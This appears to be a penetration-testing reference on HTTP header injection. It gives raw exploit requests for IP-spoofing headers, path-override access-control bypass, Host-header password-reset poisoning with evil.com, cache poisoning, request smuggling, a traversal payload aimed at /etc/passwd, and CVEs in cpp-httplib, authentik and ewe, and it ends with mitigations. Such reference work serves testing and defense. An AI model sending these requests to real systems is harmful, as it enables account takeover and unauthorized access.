Header injection vulnerabilities occur when an attacker can manipulate HTTP headers to alter server behavior, bypass security controls, poison caches, or hijack sessions. These attacks exploit the trust relationship between proxies, caches, and backend servers, as well as improper validation of user-supplied header values.
Many applications rely on headers to determine client IP addresses for access control decisions. The following headers can be injected to impersonate trusted IP addresses:
Client-IP: 127.0.0.1
Connection: close
Contact: 127.0.0.1
Forwarded: 127.0.0.1
Forwarded-For-Ip: 127.0.0.1
From: 127.0.0.1
Host: localhost
Origin: https://localhost
Referer: https://localhost
True-Client-IP: 127.0.0.1
X-Client-IP: 127.0.0.1
X-Custom-IP-Authorization: 127.0.0.1
X-Forward-For: 127.0.0.1
X-Forwarded-By: 127.0.0.1
X-Forwarded-For: 127.0.0.1
X-Forwarded-For-Original: 127.0.0.1
X-Forwarded-Host: localhost
X-Forwarded-Server: 127.0.0.1
X-Forwarded: 127.0.0.1
X-Forwared-Host: 127.0.0.1
X-Host: 127.0.0.1
X-HTTP-Host-Override: 127.0.0.1
X-Originating-IP: 127.0.0.1
X-Real-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Wap-Profile: 127.0.0.1
These headers can rewrite the requested URL path, often bypassing frontend access controls while the backend processes the overridden path:
X-Original-URL: /admin
X-Override-URL: /admin
X-Rewrite-URL: /admin
Referer: /admin
X-HTTP-Method-Override: PUT
X-HTTP-Method-Override: DELETE
X-Method-Override: PATCH
Affected Software: yhirose cpp-httplib versions prior to 0.27.0
Description: A critical vulnerability where attacker-controlled HTTP headers (REMOTE_ADDR, REMOTE_PORT, LOCAL_ADDR, LOCAL_PORT) are processed before server-generated metadata headers with the same names. The Request::get_header_value method returns the first instance of a header key, giving attacker-supplied data precedence over legitimate server data.
Exploitation Method:
GET /admin HTTP/1.1
Host: vulnerable-server.com
REMOTE_ADDR: 127.0.0.1
REMOTE_PORT: 443Impact: IP spoofing, log poisoning, authorization bypass without authentication. CVSS Score: 10.0 (Critical)
Fix: Upgrade to cpp-httplib version 0.27.0 or later.
Affected Software: authentik versions prior to 2024.6.5 and 2024.8.3
Description: Adding an unparsable IP address (e.g., "a") to the X-Forwarded-For header causes the password stage policy to skip authentication. This allows attackers to log into any account with a known login or email address without providing a password.
Exploitation Method:
POST /api/v3/flows/executor/default-authentication-flow/ HTTP/1.1
Host: authentik.example.com
X-Forwarded-For: a
Content-Type: application/json
{"identifier": "admin@example.com"}Why It Works: The header validation raises an exception when parsing the invalid IP address. The policy binding treats this exception as a failure, but due to misconfigured failure handling, the password stage gets skipped entirely.
Impact: Complete account takeover without credentials. CVSS Score: 9.0 (Critical)
Mitigation:
- Upgrade to patched versions (2024.6.5 or 2024.8.3)
- Ensure reverse proxies properly overwrite
X-Forwarded-Forheaders - Configure policy binding failure options to "Pass" instead of default behavior
Affected Software: VigyBag Open Source Online Shop (commit 3f0e21b)
Description: A Host Header injection vulnerability in the password reset function allows attackers to redirect victim users to a malicious site via a crafted URL.
Exploitation Method:
POST /password-reset HTTP/1.1
Host: evil.com
Content-Type: application/x-www-form-urlencoded
email=victim@example.comWhen the application generates password reset links using the Host header value, victims receive emails with links pointing to https://evil.com/reset?token=... instead of the legitimate domain.
Impact: Password reset token theft, account takeover via phishing.
Reference: CVE-2024-46452
Affected Software: Systems with misconfigured cache logic that doesn't validate duplicate headers
Real-World Example (PortSwigger Lab): A vulnerability where adding a second Host header reflects its value in a script import URL, allowing cache poisoning.
Exploitation Method:
GET / HTTP/1.1
Host: legit.com
Stuff: stuff
Host: evil.comThe frontend cache sees the first Host header (legit.com) while the backend processes the second Host header (evil.com). If the backend reflects the second header value in responses (e.g., for generating absolute URLs), the cache stores a poisoned response.
Real Attack Scenario (Fastly - 2020): Attackers exploited X-Forwarded-Host header with closed ports to poison redirect responses. The origin used the complete X-Forwarded-Host header information (including port number) to form redirect responses, which Fastly then cached.
Attack Request:
GET / HTTP/1.1
Host: www.example.com:10000Resulting Cached Response:
HTTP/1.1 302 Found
Location: https://www.example.com:10000/en
X-Cache: HITSubsequent victims were redirected to a closed port, causing denial of service.
Scenario: Frontend access control validation with backend path override support.
Detection Steps:
- Identify a request returning 403 Forbidden:
GET /admin HTTP/1.1
Host: target.com- Test for path override support on accessible endpoints:
GET /login HTTP/1.1
Host: target.com
X-Original-URL: /my-accountIf the response matches /my-account instead of /login, the header is supported.
- Exploit the misconfiguration:
GET /login HTTP/1.1
Host: target.com
X-Original-URL: /adminThe frontend validates /login (accessible) but the backend processes /admin (restricted).
Why It Works: Access control is enforced at the frontend proxy layer instead of the backend server. Frontend validates the visible path (/login), then forwards the request with the rewritten path to the backend, which serves the admin panel without revalidating authorization.
HTTP request smuggling occurs when frontend and backend servers disagree on where one request ends and another begins.
Detection Request:
POST / HTTP/1.1
Host: example.com
Content-Length: 6
Transfer-Encoding: chunked
0
xThe frontend reads 6 bytes (0\r\n\r\nx) and forwards. The backend sees Transfer-Encoding: chunked and waits for 0\r\n\r\n, leaving x to be smuggled into the next request.
Detection Request:
POST / HTTP/1.1
Host: example.com
Transfer-Encoding: chunked
Content-Length: 3
1
x
0
The frontend processes the chunked encoding, forwarding the full body. The backend reads only 3 bytes (1\r\nx), leaving the rest to be concatenated to the next request.
Affected Software: ewe versions prior to 3.0.5
Description: Chunked transfer encoding trailer handling merges declared trailer fields into request headers after body parsing. The denylist only blocks 9 header names, allowing injection of security-sensitive headers like authorization, cookie, and x-forwarded-for.
Exploitation Method:
POST / HTTP/1.1
Host: localhost:8080
Transfer-Encoding: chunked
Trailer: x-forwarded-for
4
test
0
x-forwarded-for: 10.0.0.1
Impact: Authentication bypass via token injection, IP spoofing, session fixation.
Changing the HTTP version can cause unexpected behavior in legacy systems.
Technique:
GET /admin HTTP/0.9
Host: evil.comHTTP/0.9 doesn't require a Host header. Some servers accept HTTP/0.9 requests but process them differently than HTTP/1.1 requests, potentially bypassing virtual host routing and accessing internal endpoints.
# https://github.com/lobuhi/byp4xx
./byp4xx.sh https://target.com/adminTests various header injection payloads to bypass 401/403 restrictions.
# https://github.com/mlcsec/headi
headi -url http://target.com/admin -headers x-forwarded-for,true-client-ipAutomated header injection testing with custom header lists.
# https://github.com/geisonn/skip403
skip403 -u https://target.com/adminSmart header and path manipulation for bypassing access controls.
Accept: application/json, text/javascript, */*; q=0.01
Accept: ../../../../../../../../../etc/passwd{{
GET /index.php HTTP/1.1
Host: vulnerable-website.com
Host: evil-website.comSome servers interpret wrapped lines differently, allowing header injection without direct validation.
GET https://vulnerable-website.com/ HTTP/1.1
Host: evil-website.comIf the server processes the absolute URL instead of the Host header, access controls may be bypassed.
-
Never trust client-supplied headers for security decisions. Use trusted proxies to set and override headers like
X-Forwarded-For. -
Implement strict header validation for all incoming headers. Reject requests with duplicate or malformed headers.
-
Use allowlists for header values where possible (e.g., specific IP formats, known domains).
-
Enforce access control at the backend, not at reverse proxies or load balancers.
-
Configure cache keys to include all headers that affect responses to prevent cache poisoning.
-
Remove unsupported headers during HTTP/2 to HTTP/1.1 downgrades to prevent smuggling.
-
Update affected libraries when CVEs are disclosed (cpp-httplib, authentik, ewe, etc.).
-
Monitor logs for anomalous header values, duplicate headers, or malformed IP addresses.